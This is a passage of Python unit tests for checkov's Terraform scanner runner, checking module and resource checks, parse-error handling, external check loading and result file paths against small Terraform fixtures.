"TF_M_2" from checkov.common.models.enums import CheckResult from checkov.terraform.checks.module.base_module_check import BaseModuleCheck from checkov.terraform.checks.module.registry import module_registry class ModuleCheck(BaseModuleCheck): def __init__(self): name = "Test check" id = check_name categories = [] super().__init__(name=name, id=id, categories=categories) def scan_module_conf(self, conf): return CheckResult.PASSED check = ModuleCheck() current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources/valid_tf_only_module_usage") runner = Runner(db_connector=self.db_connector()) result = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(checks=check_name)) # unregister check for resource in check.supported_resources: module_registry.checks[resource].remove(check) self.assertEqual(len(result.passed_checks), 1) self.assertIn('some-module', map(lambda record: record.resource, result.passed_checks)) @mock.patch.dict(os.environ, {"TF_SPLIT_GRAPH": "False"}) @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_FOREACH_HANDLING": "False"}) def test_terraform_multiple_module_versions(self): # given root_dir = Path(__file__).parent / "resources/multiple_module_versions" # when result = Runner(db_connector=self.db_connector()).run( root_folder=str(root_dir), runner_filter=RunnerFilter( checks=["CKV_AWS_88"], framework="terraform", download_external_modules=True ) ) # then summary = result.get_summary() passed_resources = [check.resource for check in result.passed_checks] failed_resources = [check.resource for check in result.failed_checks] self.assertEqual(4, summary["passed"]) self.assertEqual(4, summary["failed"]) self.assertEqual(0, summary['skipped']) self.assertEqual(0, summary['parsing_errors']) expected_passed_resources = [ "module.ec2_private_latest.aws_instance.this", "module.ec2_private_latest_2.aws_instance.this", "module.ec2_private_old.aws_instance.this", "module.ec2_private_old_2.aws_instance.this", ] expected_failed_resources = [ "module.ec2_public_latest.aws_instance.this", "module.ec2_public_latest_2.aws_instance.this", "module.ec2_public_old.aws_instance.this", "module.ec2_public_old_2.aws_instance.this", ] self.assertCountEqual(expected_passed_resources, passed_resources) self.assertCountEqual(expected_failed_resources, failed_resources) # cleanup if (root_dir / EXTERNAL_MODULES_DOWNLOAD_PATH).exists(): shutil.rmtree(root_dir / EXTERNAL_MODULES_DOWNLOAD_PATH) @mock.patch.object(env_vars_config, "RAW_TF_IN_GRAPH_ENV", "True") def test_for_each_raw_resource_no_finding(self): current_dir = os.path.dirname(os.path.realpath(__file__)) dir_path = os.path.join(current_dir, "resources/tf_raw_resource") runner = Runner(db_connector=self.db_connector()) result = runner.run(root_folder=dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform"], checks=['CKV2_AWS_62', 'CKV_AWS_93'])) # we test here both graph checks and resource checks self.assertEqual(len(result.failed_checks), 2) self.assertEqual(len(result.passed_checks), 2) def test_parser_error_handled_for_directory_target(self): current_dir = os.path.dirname(os.path.realpath(__file__)) invalid_dir_path = os.path.join(current_dir, "resources/invalid_terraform_syntax") file_names = ['bad_tf_1.tf', 'bad_tf_2.tf'] invalid_dir_abs_path = os.path.abspath(invalid_dir_path) runner = Runner(db_connector=self.db_connector()) result = runner.run(root_folder=invalid_dir_path, external_checks_dir=None) self.assertEqual(len(result.parsing_errors), 2) for file in file_names: self.assertIn(os.path.join(invalid_dir_abs_path, file), result.parsing_errors) def test_parser_error_handled_for_file_target(self): current_dir = os.path.dirname(os.path.realpath(__file__)) invalid_dir_path = os.path.join(current_dir, "resources/invalid_terraform_syntax") file_names = ['bad_tf_1.tf', 'bad_tf_2.tf'] invalid_dir_abs_path = os.path.abspath(invalid_dir_path) runner = Runner(db_connector=self.db_connector()) result = runner.run(files=[os.path.join(invalid_dir_path, file) for file in file_names], root_folder=None, external_checks_dir=None) self.assertEqual(len(result.parsing_errors), 2) for file in file_names: self.assertIn(os.path.join(invalid_dir_abs_path, file), result.parsing_errors) def test_typed_terraform_resource_checks_are_performed(self): test_self = self check_name = "TF_M_2" test_dir = "resources/valid_tf_only_resource_usage" from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.terraform.checks.resource.registry import resource_registry class ResourceCheck(BaseResourceCheck): def __init__(self): name = "Test check" id = check_name supported_resources = ['*'] categories = [] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_entity_conf(self, conf, entity_type): if entity_type == 'type_1': test_self.assertIn('a', conf) test_self.assertEqual([1], conf['a']) elif entity_type == 'type_2': test_self.assertIn('b', conf) test_self.assertEqual([2], conf['b']) else: test_self.fail(f'Unexpected entity_type: {entity_type}. Expected type_1 or type_2, because no ' f'other resources are defined in the files inside of {test_dir}.') return CheckResult.PASSED def scan_resource_conf(self, conf): pass check = ResourceCheck() current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, test_dir) runner = Runner(db_connector=self.db_connector()) result = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(checks=check_name)) # unregister check for resource in check.supported_resources: resource_registry.wildcard_checks[resource].remove(check) self.assertEqual(len(result.passed_checks), 2) def test_external_definitions_context(self): current_dir = os.path.dirname(os.path.realpath(__file__)) tf_dir_path = current_dir + "/resources/valid_tf_only_passed_checks" external_definitions_context = { f"{current_dir}/resources/valid_tf_only_passed_checks/example.tf": { "resource": { "aws_s3_bucket": { "foo-bucket": { "start_line": 1, "end_line": 34, "code_lines": [ (1, 'resource "aws_s3_bucket" "foo-bucket" {\n'), (2, " region = var.region\n"), (3, " bucket = local.bucket_name\n"), (4, " force_destroy = true\n"), (5, " tags = {\n"), (6, ' Name = "foo-${data.aws_caller_identity.current.account_id}"\n'), (7, " }\n"), (8, " versioning {\n"), (9, " enabled = true\n"), (10, " mfa_delete = true\n"), (11, " }\n"), (12, " logging {\n"), (13, ' target_bucket = "${aws_s3_bucket.log_bucket.id}"\n'), (14, ' target_prefix = "log/"\n'), (15, " }\n"), (16, " server_side_encryption_configuration {\n"), (17, " rule {\n"), (18, " apply_server_side_encryption_by_default {\n"), (19, ' kms_master_key_id = "${aws_kms_key.mykey.arn}"\n'), (20, ' sse_algorithm = "aws:kms"\n'), (21, " }\n"), (22, " }\n"), (23, " }\n"), (24, ' acl = "private"\n'), (25, ' tags = "${merge\n'), (26, " (\n"), (27, " var.common_tags,\n"), (28, " map(\n"), (29, ' "name", "VM Virtual Machine",\n'), (30, ' "group", "foo"\n'), (31, " )\n"), (32, " )\n"), (33, ' }"\n'), (34, "}\n"), ], "skipped_checks": [], } }, "null_resource": { "example": { "start_line": 36, "end_line": 46, "code_lines": [ (36, 'resource "null_resource" "example" {\n'), (37, ' tags = "${merge\n'), (38, "(\n"), (39, "var.common_tags,\n"), (40, "map(\n"), (41, '"name", "VM Base Post Provisioning Library",\n'), (42, '"group", "aut",\n'), (43, '"dependency", "${var.input_dependency_value}")\n'), (44, ")\n"), (45, '}"\n'), (46, "}\n"), ], "skipped_checks": [], } }, }, "data": { "aws_caller_identity": { "current": {"start_line": 47, "end_line": 0, "code_lines": [], "skipped_checks": []} } }, "provider": { "kubernetes": { "default": { "start_line": 49, "end_line": 55, "code_lines": [ (49, 'provider "kubernetes" {\n'), (50, ' version = "1.10.0"\n'), (51, " host = module.aks_cluster.kube_config.0.host\n"), ( 52, " client_certificate = base64decode(module.aks_cluster.kube_config.0.client_certificate)\n", ), ( 53, "client_key = base64decode(module.aks_cluster.kube_config.0.client_key)\n", ), ( 54, "cluster_ca_certificate = base64decode(module.aks_cluster.kube_config.0.cluster_ca_certificate)\n", ), (55, "}\n"), ], "skipped_checks": [], } } }, "module": { "new_relic": { "start_line": 57, "end_line": 67, "code_lines": [ (57, 'module "new_relic" {\n'), ( 58, 'source = "s3::https://s3.amazonaws.com/my-artifacts/new-relic-k8s-0.2.5.zip"\n', ), (59, "kubernetes_host = module.aks_cluster.kube_config.0.host\n"), ( 60, "kubernetes_client_certificate = base64decode(module.aks_cluster.kube_config.0.client_certificate)\n", ), ( 61, "kubernetes_client_key = base64decode(module.aks_cluster.kube_config.0.client_key)\n", ), ( 62, "kubernetes_cluster_ca_certificate = base64decode(module.aks_cluster.kube_config.0.cluster_ca_certificate)\n", ), (63, "cluster_name = module.naming_conventions.aks_name\n"), ( 64, 'new_relic_license = data.vault_generic_secret.new_relic_license.data["license"]\n', ), ( 65, "cluster_ca_bundle_b64 = module.aks_cluster.kube_config.0.cluster_ca_certificate\n", ), (66, "module_depends_on = [null_resource.delay_aks_deployments]\n"), (67, "}"), ], "skipped_checks": [], } }, }, f"{current_dir}/resources/valid_tf_only_passed_checks/example_skip_acl.tf": { "resource": { "aws_s3_bucket": { "foo-bucket": { "start_line": 1, "end_line": 26, "code_lines": [ (1, 'resource "aws_s3_bucket" "foo-bucket" {\n'), (2, " region = var.region\n"), (3, " bucket = local.bucket_name\n"), (4, " force_destroy = true\n"), (5, " #checkov:skip=CKV_AWS_20:The bucket is a public static content host\n"), (6, " #bridgecrew:skip=CKV_AWS_52: foo\n"), (7, " tags = {\n"), (8, ' Name = "foo-${data.aws_caller_identity.current.account_id}"\n'), (9, " }\n"), (10, " versioning {\n"), (11, " enabled = true\n"), (12, " }\n"), (13, " logging {\n"), (14, ' target_bucket = "${aws_s3_bucket.log_bucket.id}"\n'), (15, ' target_prefix = "log/"\n'), (16, " }\n"), (17, " server_side_encryption_configuration {\n"), (18, " rule {\n"), (19, " apply_server_side_encryption_by_default {\n"), (20, ' kms_master_key_id = "${aws_kms_key.mykey.arn}"\n'), (21, ' sse_algorithm = "aws:kms"\n'), (22, " }\n"), (23, " }\n"), (24, " }\n"), (25, ' acl = "public-read"\n'), (26, "}\n"), ], "skipped_checks": [ {"id": "CKV_AWS_20", "suppress_comment": "The bucket is a public static content host"}, {"id": "CKV_AWS_52", "suppress_comment": " foo"}, ], } } }, "data": { "aws_caller_identity": { "current": {"start_line": 27, "end_line": 0, "code_lines": [], "skipped_checks": []} } }, }, } runner = Runner(db_connector=self.db_connector()) parser = TFParser() tf_definitions = parser.parse_directory(tf_dir_path) runner.set_external_data(tf_definitions, external_definitions_context, breadcrumbs={}) # type: ignore report = Report('terraform') runner.check_tf_definition(root_folder=tf_dir_path, report=report, runner_filter=RunnerFilter()) self.assertGreaterEqual(len(report.passed_checks), 1) def test_failure_in_resolved_module(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "../parser/resources/parser_scenarios/module_matryoshka_nested_module_enable") valid_dir_path = os.path.normpath(valid_dir_path) runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_20'] report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allowlist)) report_json = report.get_json() self.assertIsInstance(report_json, str) self.assertIsNotNone(report_json) self.assertIsNotNone(report.get_test_suite()) self.assertEqual(report.get_exit_code( {'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1) self.assertEqual(report.get_exit_code( {'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0) self.assertEqual(checks_allowlist[0], report.failed_checks[0].check_id) self.assertEqual("/bucket1/bucket2/bucket3/bucket.tf", report.failed_checks[0].file_path) self.assertEqual(1, len(report.failed_checks)) for record in report.failed_checks: self.assertIn(record.check_id, checks_allowlist) def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources", "nested_dir") runner = Runner(db_connector=self.db_connector()) filter = RunnerFilter(framework=['terraform'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.TERRAFORM: Severities[BcSeverities.OFF]} report = runner.run(root_folder=scan_dir_path, external_checks_dir=None, runner_filter=filter) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) def test_record_relative_path_with_relative_dir(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources", "nested_dir") # this is the relative path to the directory to scan (what would actually get passed to the -d arg) dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_20'] report = runner.run(root_folder=dir_rel_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the TF runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') def test_record_relative_path_with_abs_dir(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "resources", "nested_dir") dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') dir_abs_path = os.path.abspath(scan_dir_path) runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_20'] report = runner.run(root_folder=dir_abs_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the TF runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') def test_record_relative_path_with_relative_file(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "nested_dir", "dir1", "example.tf") # this is the relative path to the file to scan (what would actually get passed to the -f arg) file_rel_path = os.path.relpath(scan_file_path) runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_20'] report = runner.run(root_folder=None, external_checks_dir=None, files=[file_rel_path], runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the TF runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{file_rel_path}') def test_record_relative_path_with_abs_file(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_file_path = os.path.join(current_dir, "resources", "nested_dir", "dir1", "example.tf") file_rel_path = os.path.relpath(scan_file_path) file_abs_path = os.path.abspath(scan_file_path) runner = Runner(db_connector=self.db_connector()) checks_allowlist = ['CKV_AWS_20'] report = runner.run(root_folder=None, external_checks_dir=None, files=[file_abs_path], runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: # no need to join with a '/' because the TF runner adds it to the start of the file path self.assertEqual(record.repo_file_path, f'/{file_rel_path}') def test_record_definition_context_path(self): resources_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), "resources", "definition_context_path_nested_modules") checks_allow_list = ['CKV_AWS_20'] expected_definition_context_paths = [os.path.join(resources_path, 'main.tf'), f'{os.path.join(resources_path, "module/main.tf")}{TERRAFORM_NESTED_MODULE_PATH_PREFIX}{os.path.join(resources_path, "main.tf")}{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}0{TERRAFORM_NESTED_MODULE_PATH_ENDING}', f'{os.path.join(resources_path, "module/module2/main.tf")}{TERRAFORM_NESTED_MODULE_PATH_PREFIX}{os.path.join(resources_path, "module/main.tf")}{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}0{TERRAFORM_NESTED_MODULE_PATH_ENDING}{os.path.join(resources_path, "main.tf")}{TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR}0{TERRAFORM_NESTED_MODULE_PATH_ENDING}{TERRAFORM_NESTED_MODULE_PATH_ENDING}'] expected_definition_context_paths.sort() runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=resources_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allow_list)) definition_context_paths = [f.definition_context_file_path for f in report.failed_checks] definition_context_paths.sort() self.assertEqual(expected_definition_context_paths.sort(), definition_context_paths.sort()) def test_runner_malformed_857(self): current_dir = os.path.dirname(os.path.realpath(__file__)) passing_tf_file_path = current_dir + "/resources/malformed_857/main.tf" runner = Runner(db_connector=self.db_connector()) runner.run(root_folder=None, external_checks_dir=None, files=[passing_tf_file_path]) # If we get here all is well. :-) Failure would throw an exception. def test_runner_empty_locals(self): current_dir = os.path.dirname(os.path.realpath(__file__)) passing_tf_file_path = current_dir + "/resources/empty_locals" runner = Runner(db_connector=self.db_connector()) r = runner.run(root_folder=passing_tf_file_path, external_checks_dir=None) assert len(r.parsing_errors) == 0 def test_module_skip(self): current_dir = os.path.dirname(os.path.realpath(__file__)) report = Runner(db_connector=self.db_connector()).run(root_folder=f"{current_dir}/resources/module_skip", external_checks_dir=None, runner_filter=RunnerFilter( checks="CKV_AWS_19")) # bucket encryption self.assertEqual(len(report.skipped_checks), 5) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) found_inside = False found_outside = False for record in report.failed_checks: if "inside" in record.resource: found_inside = True self.assertEqual(record.resource, "module.test_module.aws_s3_bucket.inside") assert record.file_path == "/module/module.tf" self.assertEqual(record.file_line_range, [7, 9]) assert record.caller_file_path == "/main.tf" # ATTENTION!! If this breaks, see the "HACK ALERT" comment in runner.run_block. # A bug might have been fixed. self.assertEqual(record.caller_file_line_range, (6, 8)) if "outside" in record.resource: found_outside = True self.assertEqual(record.resource, "aws_s3_bucket.outside") assert record.file_path == "/main.tf" self.assertEqual(record.file_line_range, [12, 16]) self.assertIsNone(record.caller_file_path) self.assertIsNone(record.caller_file_line_range) self.assertFalse(found_inside) self.assertFalse(found_outside) def test_nested_modules_caller_file(self): current_dir = os.path.dirname(os.path.realpath(__file__)) report = Runner(db_connector=self.db_connector()).run( root_folder=f"{current_dir}/resources/nested_modules_caller_file", external_checks_dir=None, runner_filter=RunnerFilter(checks="CKV_AWS_143")) # bucket encryption self.assertEqual(len(report.failed_checks), 1) self.assertEqual(len(report.passed_checks), 0) record = report.failed_checks[0] self.assertIsNotNone(record.caller_file_path) self.assertIsNotNone(record.caller_file_line_range) def test_module_failure_reporting_772(self): current_dir = os.path.dirname(os.path.realpath(__file__)) report = Runner(db_connector=self.db_connector()).run( root_folder=f"{current_dir}/resources/module_failure_reporting_772", external_checks_dir=None, runner_filter=RunnerFilter(checks="CKV_AWS_143")) # bucket encryption self.assertEqual(len(report.failed_checks), 2) self.assertEqual(len(report.passed_checks), 0) found_inside = False found_outside = False for record in report.failed_checks: # "outside" bucket (not defined in a module) should be a direct resource path and # should not have caller file info. if "outside" in record.resource: found_outside = True self.assertEqual(record.resource, "aws_s3_bucket.outside") assert record.file_path == "/main.tf" self.assertEqual(record.file_line_range, [11, 17]) self.assertIsNone(record.caller_file_path) self.assertIsNone(record.caller_file_line_range) if "inside" in record.resource: found_inside = True self.assertEqual(record.resource, "module.test_module.aws_s3_bucket.inside") assert record.file_path == "/module/module.tf" self.assertEqual(record.file_line_range, [7, 13]) assert record.caller_file_path == "/main.tf" self.assertEqual(record.caller_file_line_range, (6, 8)) self.assertTrue(found_inside) self.assertTrue(found_outside) def test_loading_external_checks_yaml(self): runner = Runner(db_connector=self.db_connector()) runner.graph_registry.checks = [] runner.graph_registry.load_checks() base_len = len(runner.graph_registry.checks) current_dir = os.path.dirname(os.path.realpath(__file__)) extra_checks_dir_path = current_dir + "/extra_yaml_checks" runner.load_external_checks([extra_checks_dir_path]) self.assertEqual(len(runner.graph_registry.checks), base_len + 5) runner.graph_registry.checks = runner.graph_registry.checks[:base_len] def test_loading_external_checks_yaml_multiple_times(self): runner = Runner(db_connector=self.db_connector()) current_dir = os.path.dirname(os.path.realpath(__file__)) runner.graph_registry.checks = [] extra_checks_dir_path = [current_dir + "/extra_yaml_checks"] runner.load_external_checks(extra_checks_dir_path) self.assertEqual(len(runner.graph_registry.checks), 5) runner.load_external_checks(extra_checks_dir_path) self.assertEqual(len(runner.graph_registry.checks), 5) graph_checks = [x.id for x in runner.graph_registry.checks] self.assertIn('CUSTOM_GRAPH_AWS_1', graph_checks) self.assertIn('CUSTOM_GRAPH_AWS_2', graph_checks) self.assertIn('CKV2_CUSTOM_1', graph_checks) runner.graph_registry.checks = [] def test_loading_external_checks_python(self): runner = Runner(db_connector=self.db_connector()) from tests.terraform.runner.extra_checks.S3EnvironmentCheck import scanner current_dir = os.path.dirname(os.path.realpath(__file__)) extra_checks_dir_paths = [current_dir + "/extra_checks"] runner.load_external_checks(extra_checks_dir_paths) found = 0 for resource_type in scanner.supported_resources: checks = resource_registry.checks[resource_type] checks_ids = [c.id for c in checks] self.assertIn(scanner.id, checks_ids) found += 1 self.assertEqual(found, len(scanner.supported_resources)) def test_loading_external_checks_python_multiple_times(self): runner = Runner(db_connector=self.db_connector()) from tests.terraform.runner.extra_checks.S3EnvironmentCheck import scanner current_dir = os.path.dirname(os.path.realpath(__file__)) extra_checks_dir_paths = [current_dir + "/extra_checks", current_dir + "/extra_checks"] runner.load_external_checks(extra_checks_dir_paths) found = 0 for resource_type in scanner.supported_resources: checks = resource_registry.checks[resource_type] checks_ids = [c.id for c in checks] self.assertIn(scanner.id, checks_ids) instances = list(filter(lambda c: c.id == scanner.id, checks)) self.assertEqual(len(instances), 1) found += 1 self.assertEqual(found, len(scanner.supported_resources)) def test_loading_external_checks_python_and_yaml(self): runner = Runner(db_connector=self.db_connector()) from tests.terraform.runner.extra_checks.S3EnvironmentCheck import scanner current_dir = os.path.dirname(os.path.realpath(__file__)) extra_checks_dir_paths = [current_dir + "/extra_checks", current_dir + "/extra_yaml_checks"] runner.load_external_checks(extra_checks_dir_paths) found = 0 for resource_type in scanner.supported_resources: checks = resource_registry.checks[resource_type] checks_ids = [c.id for c in checks] self.assertIn(scanner.id, checks_ids) found += 1 self.assertEqual(found, len(scanner.supported_resources)) self.assertEqual(len(list(filter(lambda c: c.id == CUSTOM_GRAPH_CHECK_ID, runner.graph_registry.checks))), 1) # Remove external checks from registry. runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if "CUSTOM" not in check.id] def test_wrong_check_imports(self): wrong_imports = ( "checkov.arm", "checkov.cloudformation", "checkov.dockerfile", "checkov.helm", "checkov.kubernetes", "checkov.serverless") check_imports = [] checks_path = Path(inspect.getfile(Runner)).parent.joinpath("checks") for file in checks_path.rglob("*.py"): with file.open() as f: instructions = dis.get_instructions(f.read()) import_names = [instr.argval for instr in instructions if "IMPORT_NAME" == instr.opname] for import_name in import_names: if import_name.startswith(wrong_imports): check_imports.append({file.name: import_name}) assert len(check_imports) == 0, f"Wrong imports were added: {check_imports}" def test_resource_ids_nested_modules(self): resources_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), "resources", "resource_ids_nested_modules") checks_allow_list = ['CKV_AWS_20'] expected_resources_ids = ['aws_s3_bucket.example', 'module.s3_module.aws_s3_bucket.example2', 'module.s3_module.module.inner_s3_module.aws_s3_bucket.example3'] expected_resources_ids.sort() runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=resources_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allow_list)) resources_ids = [f.resource for f in report.failed_checks] resources_ids.sort() self.assertEqual(len(resources_ids), 3) self.assertEqual(expected_resources_ids, resources_ids) def test_list_of_routes(self): resources_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), "resources", "list_of_routes") checks_allow_list = ['CKV2_AWS_44'] runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=resources_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allow_list)) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.failed_checks), 1) def test_resource_values_dont_exist(self): resources_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), "resources", "resource_value_without_var") checks_allow_list = ['CKV_AWS_21'] skip_checks = ['CUSTOM_AWS_1'] source_files = ["main.tf", "variables.tf"] runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=list(map(lambda f: f'{resources_path}/{f}', source_files)), runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allow_list, skip_checks=skip_checks)) self.assertEqual(len(report.passed_checks), 1) self.assertEqual(len(report.failed_checks), 1) def test_resource_values_do_exist(self): resources_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), "resources", "resource_value_without_var") checks_allow_list = ['CKV_AWS_21'] skip_checks = ['CUSTOM_AWS_1'] source_files = ["main.tf", "variables.tf", "variables_unscoped.tf"] runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=list(map(lambda f: f'{resources_path}/{f}', source_files)), runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allow_list, skip_checks=skip_checks)) self.assertEqual(len(report.passed_checks), 3) self.assertEqual(len(report.failed_checks), 3) def test_resource_negative_values_dont_exist(self): resources_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), "resources", "resource_negative_value_without_var") checks_allow_list = ['CKV_AWS_57'] skip_checks = ['CUSTOM_AWS_1'] source_files = ["main.tf", "variables.tf"] runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=list(map(lambda f: f'{resources_path}/{f}', source_files)), runner_filter=RunnerFilter(framework='terraform', checks=checks_allow_list, skip_checks=skip_checks)) self.assertEqual(len(report.passed_checks), 1) self.assertEqual(len(report.failed_checks), 1) def test_resource_negative_values_do_exist(self): resources_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), "resources", "resource_negative_value_without_var") checks_allow_list = ['CKV_AWS_57'] skip_checks = ['CUSTOM_AWS_1'] source_files = ["main.tf", "variables.tf", "variables_unscoped.tf"] runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=None, external_checks_dir=None, files=list(map(lambda f: f'{resources_path}/{f}', source_files)), runner_filter=RunnerFilter(framework=["terraform"], checks=checks_allow_list, skip_checks=skip_checks)) self.assertEqual(len(report.passed_checks), 3) self.assertEqual(len(report.failed_checks), 3) def test_unrendered_simple_var(self): resources_dir = os.path.join( os.path.dirname(os.path.realpath(__file__)), "resources", "unrendered_vars") file_to_scan = os.path.join(resources_dir, "simple.tf") checks = ['BUCKET_EQUALS', 'BUCKET_EXISTS'] runner = Runner(db_connector=self.db_connector()) runner_filter = RunnerFilter(framework=['terraform'], checks=checks) report = runner.run(root_folder=None, files=[file_to_scan], external_checks_dir=[resources_dir], runner_filter=runner_filter) # plus 1 unknown self.assertEqual(len(report.passed_checks), 3) self.assertEqual(len(report.failed_checks), 0) self.assertTrue(any(r.check_id == 'BUCKET_EXISTS' and r.resource == 'aws_s3_bucket.known_simple_pass' for r in report.passed_checks)) self.assertTrue(any(r.check_id == 'BUCKET_EQUALS' and r.resource == 'aws_s3_bucket.known_simple_pass' for r in report.passed_checks)) self.assertTrue(any(r.check_id == 'BUCKET_EXISTS' and r.resource == 'aws_s3_bucket.unknown_simple' for r in report.passed_checks)) # reset graph checks runner.graph_registry.checks = [] runner.graph_registry.load_checks() def test_unrendered_nested_var(self): resources_dir = os.path.join( os.path.dirname(os.path.realpath(__file__)), "resources", "unrendered_vars") file_to_scan = os.path.join(resources_dir, "nested.tf") checks = ['COMPONENT_EQUALS', 'COMPONENT_EXISTS'] runner = Runner(db_connector=self.db_connector()) runner_filter = RunnerFilter(framework=['terraform'], checks=checks) report = runner.run(root_folder=None, files=[file_to_scan], external_checks_dir=[resources_dir], runner_filter=runner_filter) # plus 3 unknown self.assertEqual(len(report.passed_checks), 5) self.assertEqual(len(report.failed_checks), 2) self.assertTrue(any( r.check_id == 'COMPONENT_EXISTS' and r.resource == 'aws_s3_bucket.unknown_nested_2_pass' for r in report.passed_checks)) self.assertTrue(any( r.check_id == 'COMPONENT_EXISTS' and r.resource == 'aws_s3_bucket.known_nested_pass' for r in report.passed_checks)) self.assertTrue(any( r.check_id == 'COMPONENT_EQUALS' and r.resource == 'aws_s3_bucket.known_nested_pass' for r in report.passed_checks)) self.assertTrue(any( r.check_id == 'COMPONENT_EXISTS' and r.resource == 'aws_s3_bucket.known_nested_2_pass' for r in report.passed_checks)) self.assertTrue(any( r.check_id == 'COMPONENT_EQUALS' and r.resource == 'aws_s3_bucket.known_nested_2_pass' for r in report.passed_checks)) self.assertTrue(any( r.check_id == 'COMPONENT_EXISTS' and r.resource == 'aws_s3_bucket.known_nested_fail' for r in report.failed_checks)) self.assertTrue(any( r.check_id == 'COMPONENT_EQUALS' and r.resource == 'aws_s3_bucket.known_nested_fail' for r in report.failed_checks)) # reset graph checks runner.graph_registry.checks = [] runner.graph_registry.load_checks() def test_no_duplicate_results(self): resources_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), "resources", "duplicate_violations") runner = Runner(db_connector=self.db_connector()) report = runner.run(root_folder=resources_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=["terraform"])) unique_checks = [] for record in report.passed_checks: check_unique = f"{record.check_id}.{record.resource}" if check_unique in unique_checks: self.fail(f"found duplicate results in report: {record.to_string()}") unique_checks.append(check_unique) def test_malformed_file_in_parsing_error(self): resources_path = os.path.join( os.path.dirname(os.path.realpath(__file__)), "resources", "unbalanced_eval_brackets") runner = Runner(db_connector=self.db_connector()) report = 